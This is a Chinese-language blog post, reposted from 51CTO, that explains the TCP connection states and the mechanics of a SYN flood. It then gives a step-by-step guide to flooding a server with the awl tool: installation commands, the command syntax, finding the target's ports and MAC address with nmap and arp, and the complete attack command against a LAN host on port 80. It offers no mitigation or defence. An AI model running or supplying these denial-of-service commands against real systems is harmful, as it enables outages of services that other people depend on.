一、TCP連接配接狀态圖
<a href="https://s5.51cto.com/wyfs02/M01/8E/E0/wKioL1jOVEDxCvsVAAExl_xFLOM149.png" target="_blank"></a>
說明如下:
伺服器端:LISTEN:偵聽來自遠方的TCP端口的連接配接請求
用戶端:SYN-SENT:發送連接配接請求後等待比對的連接配接請求
伺服器端:SYN-RECEIVED:收到和發送一個連接配接請求後等待對方對連接配接請求的确認
用戶端/伺服器端:ESTABLISHED:代表一個打開的連接配接
用戶端:FIN-WAIT-1:等待遠端TCP連接配接中斷請求,或先前的連接配接中斷請求的确認
伺服器端:CLOSE-WAIT:等待從本地使用者發來的連接配接中斷請求
用戶端:FIN-WAIT-2:從遠端TCP等待連接配接中斷請求
伺服器端:LAST-ACK:等待原來的發向遠端TCP的連接配接中斷請求的确認
用戶端:TIME-WAIT:等待足夠的時間以確定遠端TCP接收到連接配接中斷請求的确認
伺服器端:CLOSED:沒有任何連接配接狀态
二、 SYN洪水攻擊的過程
服務端傳回一個确認的SYN-ACK包後,如果發起的客戶是一個不存在的用戶端,那麼服務端就不會接到用戶端回應的ACK包。這時服務端需要耗費一定的數量的系統記憶體來等待這個未決的連接配接,直到等待逾時關閉,才能施放記憶體。惡意者通過通過ip欺騙,發送大量SYN包給受害者系統,導緻服務端存在大量未決的連接配接并占用大量記憶體和tcp連接配接,進而導緻正常用戶端無法通路服務端
三、使用awl對伺服器施實syn洪水攻擊
2. 下載下傳解壓安裝
tar -zxvf awl-0.2.tar.gz
./configure --prefix=/usr/local/awl
make -j 4
make install
3. awl指令格式
awl -i eth0 -m 00:0c:29:a9:f0:6c -d ip -p port
說明:
-i 發送包的接口,如果省略預設是eth0
-m 被攻擊機器的mac位址,程式不能根據被攻擊IP得到MAC,需要手工指定.先ping目标IP,再arp -a就可以看到.如果省略則為ff:ff:ff:ff:ff:ff,表示向同一網段内的所有主機發出ARP廣播,進行SYN攻擊,還容易使整個區域網路癱瘓
-d 被攻擊機器的IP
-p 被攻擊機器的端口
4. nmap檢視對象機器開放的端口和MAC
nmap 192.168.1.123
或者ping 192.168.1.123 ;arp -n檢視MAC
5. 測試
/usr/local/awl/bin/awl -i eth0 -m 00:0c:29:a9:f0:6c -d 192.168.1.123 -p 80
<a href="https://s3.51cto.com/wyfs02/M00/8E/E0/wKioL1jOVdfSnCjmAAApn9P2_Wk177.png" target="_blank"></a>
netstat -antup|grep 80
本文轉自 huangzp168 51CTO部落格,原文連結:http://blog.51cto.com/huangzp/1908170,如需轉載請自行聯系原作者